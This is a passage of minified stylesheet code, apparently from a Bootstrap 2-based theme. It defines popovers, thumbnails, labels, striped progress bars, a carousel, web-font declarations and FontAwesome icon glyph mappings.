#000;top:50%;left:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-right:5px solid #000}.popover.bottom .arrow{top:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:5px solid #000;top:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:5px solid #000}.popover.left .arrow{top:50%;right:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid #000;top:50%;right:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid #000}.popover .arrow{position:absolute;width:0;height:0}.popover-inner{padding:3px;width:280px;overflow:hidden;background:#000;background:rgba(0,0,0,0.8);-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 3px 7px rgba(0,0,0,0.3);-moz-box-shadow:0 3px 7px rgba(0,0,0,0.3);box-shadow:0 3px 7px rgba(0,0,0,0.3);-webkit-box-shadow:0 3px 7px rgba(0,0,0,0.3);-moz-box-shadow:0 3px 7px rgba(0,0,0,0.3);box-shadow:0 3px 7px rgba(0,0,0,0.3)}.popover-title{padding:9px 15px;line-height:1;background-color:#f5f5f5;border-bottom:1px solid #eee;-webkit-border-radius:3px 3px 0 0;-moz-border-radius:3px 3px 0 0;border-radius:3px 3px 0 0;-webkit-border-radius:3px 3px 0 0;-moz-border-radius:3px 3px 0 0;border-radius:3px 3px 0 0}.popover-content{padding:14px;background-color:#fff;-webkit-border-radius:0 0 3px 3px;-moz-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px;-webkit-border-radius:0 0 3px 3px;-moz-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px;-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box}.popover-content p,.popover-content ul,.popover-content ol{margin-bottom:0}.thumbnails{margin-left:-20px;list-style:none;*zoom:1;*zoom:1}.thumbnails:before,.thumbnails:after{display:table;content:""}.thumbnails:after{clear:both}.thumbnails:before,.thumbnails:after{display:table;content:""}.thumbnails:after{clear:both}.thumbnails>li{float:left;margin:0 0 21px 20px}.thumbnail{display:block;padding:4px;line-height:1;border:1px solid #ddd;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:0 1px 1px rgba(0,0,0,0.075);box-shadow:0 1px 1px rgba(0,0,0,0.075);-webkit-box-shadow:0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:0 1px 1px rgba(0,0,0,0.075);box-shadow:0 1px 1px rgba(0,0,0,0.075)}a.thumbnail:hover{border-color:#9d261d;-webkit-box-shadow:0 1px 4px rgba(0,105,214,0.25);-moz-box-shadow:0 1px 4px rgba(0,105,214,0.25);box-shadow:0 1px 4px rgba(0,105,214,0.25);-webkit-box-shadow:0 1px 4px rgba(0,105,214,0.25);-moz-box-shadow:0 1px 4px rgba(0,105,214,0.25);box-shadow:0 1px 4px rgba(0,105,214,0.25)}.thumbnail>img{display:block;max-width:100%;margin-left:auto;margin-right:auto}.thumbnail .caption{padding:9px}.label{padding:2px 4px 3px;font-size:11.9px;font-weight:bold;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#999;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.label:hover{color:#fff;text-decoration:none}.label-important{background-color:#b94a48}.label-important:hover{background-color:#953b39}.label-warning{background-color:#f89406}.label-warning:hover{background-color:#c67605}.label-success{background-color:#468847}.label-success:hover{background-color:#356635}.label-info{background-color:#3a87ad}.label-info:hover{background-color:#2d6987}@-webkit-keyframes progress-bar-stripes{from{background-position:0 0}to{background-position:40px 0}}@-moz-keyframes progress-bar-stripes{from{background-position:0 0}to{background-position:40px 0}}@keyframes progress-bar-stripes{from{background-position:0 0}to{background-position:40px 0}}.progress{overflow:hidden;height:18px;margin-bottom:18px;background-color:#f7f7f7;background-image:-moz-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:-ms-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:-webkit-gradient(linear,0 0,0 100%,from(#f5f5f5),to(#f9f9f9));background-image:-webkit-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:-o-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:linear-gradient(top,#f5f5f5,#f9f9f9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f5f5',endColorstr='#f9f9f9',GradientType=0);background-color:#f7f7f7;background-image:-moz-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:-ms-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:-webkit-gradient(linear,0 0,0 100%,from(#f5f5f5),to(#f9f9f9));background-image:-webkit-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:-o-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:linear-gradient(top,#f5f5f5,#f9f9f9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f5f5',endColorstr='#f9f9f9',GradientType=0);-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.progress .bar{width:0;height:18px;color:#fff;font-size:12px;text-align:center;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#0e90d2;background-image:-moz-linear-gradient(top,#149bdf,#0480be);background-image:-ms-linear-gradient(top,#149bdf,#0480be);background-image:-webkit-gradient(linear,0 0,0 100%,from(#149bdf),to(#0480be));background-image:-webkit-linear-gradient(top,#149bdf,#0480be);background-image:-o-linear-gradient(top,#149bdf,#0480be);background-image:linear-gradient(top,#149bdf,#0480be);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#149bdf',endColorstr='#0480be',GradientType=0);background-color:#0e90d2;background-image:-moz-linear-gradient(top,#149bdf,#0480be);background-image:-ms-linear-gradient(top,#149bdf,#0480be);background-image:-webkit-gradient(linear,0 0,0 100%,from(#149bdf),to(#0480be));background-image:-webkit-linear-gradient(top,#149bdf,#0480be);background-image:-o-linear-gradient(top,#149bdf,#0480be);background-image:linear-gradient(top,#149bdf,#0480be);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#149bdf',endColorstr='#0480be',GradientType=0);-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);-moz-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);-moz-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:width .6s ease;-moz-transition:width .6s ease;-ms-transition:width .6s ease;-o-transition:width .6s ease;transition:width .6s ease;-webkit-transition:width .6s ease;-moz-transition:width .6s ease;-ms-transition:width .6s ease;-o-transition:width .6s ease;transition:width .6s ease}.progress-striped .bar{background-color:#62c462;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-ms-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-color:#62c462;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-ms-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);-webkit-background-size:40px 40px;-moz-background-size:40px 40px;-o-background-size:40px 40px;background-size:40px 40px;-webkit-background-size:40px 40px;-moz-background-size:40px 40px;-o-background-size:40px 40px;background-size:40px 40px}.progress.active .bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-moz-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-danger .bar{background-color:#dd514c;background-image:-moz-linear-gradient(top,#ee5f5b,#c43c35);background-image:-ms-linear-gradient(top,#ee5f5b,#c43c35);background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#c43c35));background-image:-webkit-linear-gradient(top,#ee5f5b,#c43c35);background-image:-o-linear-gradient(top,#ee5f5b,#c43c35);background-image:linear-gradient(top,#ee5f5b,#c43c35);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b',endColorstr='#c43c35',GradientType=0);background-color:#dd514c;background-image:-moz-linear-gradient(top,#ee5f5b,#c43c35);background-image:-ms-linear-gradient(top,#ee5f5b,#c43c35);background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#c43c35));background-image:-webkit-linear-gradient(top,#ee5f5b,#c43c35);background-image:-o-linear-gradient(top,#ee5f5b,#c43c35);background-image:linear-gradient(top,#ee5f5b,#c43c35);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b',endColorstr='#c43c35',GradientType=0)}.progress-danger.progress-striped .bar{background-color:#ee5f5b;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-ms-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-color:#ee5f5b;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-ms-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent)}.progress-success .bar{background-color:#5eb95e;background-image:-moz-linear-gradient(top,#62c462,#57a957);background-image:-ms-linear-gradient(top,#62c462,#57a957);background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#57a957));background-image:-webkit-linear-gradient(top,#62c462,#57a957);background-image:-o-linear-gradient(top,#62c462,#57a957);background-image:linear-gradient(top,#62c462,#57a957);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462',endColorstr='#57a957',GradientType=0);background-color:#5eb95e;background-image:-moz-linear-gradient(top,#62c462,#57a957);background-image:-ms-linear-gradient(top,#62c462,#57a957);background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#57a957));background-image:-webkit-linear-gradient(top,#62c462,#57a957);background-image:-o-linear-gradient(top,#62c462,#57a957);background-image:linear-gradient(top,#62c462,#57a957);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462',endColorstr='#57a957',GradientType=0)}.progress-success.progress-striped .bar{background-color:#62c462;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-ms-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-color:#62c462;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-ms-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent)}.progress-info .bar{background-color:#4bb1cf;background-image:-moz-linear-gradient(top,#5bc0de,#339bb9);background-image:-ms-linear-gradient(top,#5bc0de,#339bb9);background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#339bb9));background-image:-webkit-linear-gradient(top,#5bc0de,#339bb9);background-image:-o-linear-gradient(top,#5bc0de,#339bb9);background-image:linear-gradient(top,#5bc0de,#339bb9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de',endColorstr='#339bb9',GradientType=0);background-color:#4bb1cf;background-image:-moz-linear-gradient(top,#5bc0de,#339bb9);background-image:-ms-linear-gradient(top,#5bc0de,#339bb9);background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#339bb9));background-image:-webkit-linear-gradient(top,#5bc0de,#339bb9);background-image:-o-linear-gradient(top,#5bc0de,#339bb9);background-image:linear-gradient(top,#5bc0de,#339bb9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de',endColorstr='#339bb9',GradientType=0)}.progress-info.progress-striped .bar{background-color:#5bc0de;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-ms-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-color:#5bc0de;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-ms-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(-45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent)}.accordion{margin-bottom:21px}.accordion-group{margin-bottom:2px;border:1px solid #e5e5e5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.accordion-heading{border-bottom:0}.accordion-heading .accordion-toggle{display:block;padding:8px 15px}.accordion-inner{padding:9px 15px;border-top:1px solid #e5e5e5}.carousel{position:relative;margin-bottom:21px;line-height:1}.carousel-inner{overflow:hidden;width:100%;position:relative}.carousel .item{display:none;position:relative;-webkit-transition:.6s ease-in-out left;-moz-transition:.6s ease-in-out left;-ms-transition:.6s ease-in-out left;-o-transition:.6s ease-in-out left;transition:.6s ease-in-out left;-webkit-transition:.6s ease-in-out left;-moz-transition:.6s ease-in-out left;-ms-transition:.6s ease-in-out left;-o-transition:.6s ease-in-out left;transition:.6s ease-in-out left}.carousel .item>img{display:block;line-height:1}.carousel .active,.carousel .next,.carousel .prev{display:block}.carousel .active{left:0}.carousel .next,.carousel .prev{position:absolute;top:0;width:100%}.carousel .next{left:100%}.carousel .prev{left:-100%}.carousel .next.left,.carousel .prev.right{left:0}.carousel .active.left{left:-100%}.carousel .active.right{left:100%}.carousel-control{position:absolute;top:40%;left:15px;width:40px;height:40px;margin-top:-20px;font-size:60px;font-weight:100;line-height:30px;color:#fff;text-align:center;background:#222;border:3px solid #fff;-webkit-border-radius:23px;-moz-border-radius:23px;border-radius:23px;-webkit-border-radius:23px;-moz-border-radius:23px;border-radius:23px;opacity:.5;filter:alpha(opacity=50);opacity:.5;filter:alpha(opacity=50)}.carousel-control.right{left:auto;right:15px}.carousel-control:hover{color:#fff;text-decoration:none;opacity:.9;filter:alpha(opacity=90);opacity:.9;filter:alpha(opacity=90)}.carousel-caption{position:absolute;left:0;right:0;bottom:0;padding:10px 15px 5px;background:#333;background:rgba(0,0,0,0.75)}.carousel-caption h4,.carousel-caption p{color:#fff}.hero-unit{padding:60px;margin-bottom:30px;background-color:#f5f5f5;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.hero-unit h1{margin-bottom:0;font-size:60px;line-height:1;letter-spacing:-1px}.hero-unit p{font-size:18px;font-weight:200;line-height:31.5px}.pull-right{float:right}.pull-left{float:left}.hide{display:none}.show{display:block}.invisible{visibility:hidden}.clearfix{*zoom:1}.clearfix:before,.clearfix:after{display:table;content:""}.clearfix:after{clear:both}@font-face{font-family:'MuseoSans';src:url('../font/museosans_300-webfont.eot');src:url('../font/museosans_300-webfont.eot') format('embedded-opentype'),url('../font/museosans_300-webfont.ttf') format('truetype');font-weight:normal;font-style:normal}@font-face{font-family:'MuseoSans';src:url('../font/museosans_500-webfont.eot');src:url('../font/museosans_500-webfont.eot') format('embedded-opentype'),url('../font/museosans_500-webfont.ttf') format('truetype');font-weight:bold;font-style:normal}@font-face{font-family:'MuseoSlab';src:url('../font/museo_slab_300-webfont.eot');src:url('../font/museo_slab_300-webfont.eot') format('embedded-opentype'),url('../font/museo_slab_300-webfont.ttf') format('truetype');font-weight:normal;font-style:normal}@font-face{font-family:'MuseoSlab';src:url('../font/museo_slab_500-webfont.eot');src:url('../font/museo_slab_500-webfont.eot') format('embedded-opentype'),url('../font/museo_slab_500-webfont.ttf') format('truetype');font-weight:bold;font-style:normal}@font-face{font-family:'FontAwesome';src:url('../font/fontawesome-webfont.eot');src:url('../font/fontawesome-webfont.eot?#iefix') format('embedded-opentype'),url('../font/fontawesome-webfont.woff') format('woff'),url('../font/fontawesome-webfont.ttf') format('truetype'),url('../font/fontawesome-webfont.svgz#FontAwesomeRegular') format('svg'),url('../font/fontawesome-webfont.svg#FontAwesomeRegular') format('svg');font-weight:normal;font-style:normal}[class^="icon-"],[class*=" icon-"]{display:inline;width:auto;height:auto;line-height:inherit;vertical-align:baseline;background-image:none;background-position:0 0;background-repeat:repeat}li[class^="icon-"],li[class*=" icon-"]{display:block}[class^="icon-"]:before,[class*=" icon-"]:before{font-family:FontAwesome;font-weight:normal;font-style:normal;display:inline-block;text-decoration:inherit}a [class^="icon-"],a [class*=" icon-"]{display:inline-block;text-decoration:inherit}.icon-large:before{vertical-align:top;font-size:1.3333333333333333em}.btn [class^="icon-"],.btn [class*=" icon-"]{line-height:.9em}li [class^="icon-"],li [class*=" icon-"]{display:inline-block;width:1.25em;text-align:center}li .icon-large[class^="icon-"],li .icon-large[class*=" icon-"]{width:1.875em}li[class^="icon-"],li[class*=" icon-"]{margin-left:0;list-style-type:none}li[class^="icon-"]:before,li[class*=" icon-"]:before{text-indent:-2em;text-align:center}li[class^="icon-"].icon-large:before,li[class*=" icon-"].icon-large:before{text-indent:-1.3333333333333333em}.icon-glass:before{content:"\f000"}.icon-music:before{content:"\f001"}.icon-search:before{content:"\f002"}.icon-envelope:before{content:"\f003"}.icon-heart:before{content:"\f004"}.icon-star:before{content:"\f005"}.icon-star-empty:before{content:"\f006"}.icon-user:before{content:"\f007"}.icon-film:before{content:"\f008"}.icon-th-large:before{content:"\f009"}.icon-th:before{content:"\f00a"}.icon-th-list:before{content:"\f00b"}.icon-ok:before{content:"\f00c"}.icon-remove:before{content:"\f00d"}.icon-zoom-in:before{content:"\f00e"}.icon-zoom-out:before{content:"\f010"}.icon-off:before{content:"\f011"}.icon-signal:before{content:"\f012"}.icon-cog:before{content:"\f013"}.icon-trash:before{content:"\f014"}.icon-home:before{content:"\f015"}.icon-file:before{content:"\f016"}.icon-time:before{content:"\f017"}.icon-road:before{content:"\f018"}.icon-download-alt:before{content:"\f019"}.icon-download:before{content:"\f01a"}.icon-upload:before{content:"\f01b"}.icon-inbox:before{content:"\f01c"}.icon-play-circle:before{content:"\f01d"}.icon-repeat:before{content:"\f01e"}.icon-refresh:before{content:"\f021"}.icon-list-alt:before{content:"\f022"}.icon-lock:before{content:"\f023"}.icon-flag:before{content:"\f024"}.icon-headphones:before{content:"\f025"}.icon-volume-off:before{content:"\f026"}.icon-volume-down:before{content:"\f027"}.icon-volume-up:before{content:"\f028"}.icon-qrcode:before{content:"\f029"}.icon-barcode:before{content:"\f02a"}.icon-tag:before{content:"\f02b"}.icon-tags:before{content:"\f02c"}.icon-book:before{content:"\f02d"}.icon-bookmark:before{content:"\f02e"}.icon-print:before{content:"\f02f"}.icon-camera:before{content:"\f030"}.icon-font:before{content:"\f031"}.icon-bold:before{content:"\f032"}.icon-italic:before{content:"\f033"}.icon-text-height:before{content:"\f034"}.icon-text-width:before{content:"\f035"}.icon-align-left:before{content:"\f036"}.icon-align-center:before{content:"\f037"}.icon-align-right:before{content:"\f038"}.icon-align-justify:before{content:"\f039"}.icon-list:before{content:"\f03a"}.icon-indent-left:before{content:"\f03b"}.icon-indent-right:before{content:"\f03c"}.icon-facetime-video:before{content:"\f03d"}.icon-picture:before{content:"\f03e"}.icon-pencil:before{content:"\f040"}.icon-map-marker:before{content:"\f041"}.icon-adjust:before{content:"\f042"}.icon-tint:before{content:"\f043"}.icon-edit:before{content:"\f044"}.icon-share:before{content:"\f045"}.icon-check:before{content:"\f046"}.icon-move:before{content:"\f047"}.icon-step-backward:before{content:"\f048"}.icon-fast-backward:before{content:"\f049"}.icon-backward:before{content:"\f04a"}.icon-play:before{content:"\f04b"}.icon-pause:before{content:"\f04c"}.icon-stop:before{content:"\f04d"}.icon-forward:before{content:"\f04e"}.icon-fast-forward:before{content:"\f050"}.icon-step-forward:before{content:"\f051"}.icon-eject:before{content:"\f052"}.icon-chevron-left:before{content:"\f053"}.icon-chevron-right:before{content:"\f054"}.icon-plus-sign:before{content:"\f055"}.icon-minus-sign:before{content:"\f056"}.icon-remove-sign:before{content:"\f057"}.icon-ok-sign:before{content:"\f058"}.icon-question-sign:before{content:"\f059"}.icon-info-sign:before{content:"\f05a"}.icon-screenshot:before{content:"\f05b"}.icon-remove-circle:before{content:"\f05c"}.icon-ok-circle:before{content:"\f05d"}.icon-ban-circle:before{content:"\f05e"}.icon-arrow-left:before{content:"\f060"}.icon-arrow-right:before{content:"\f061"}.icon-a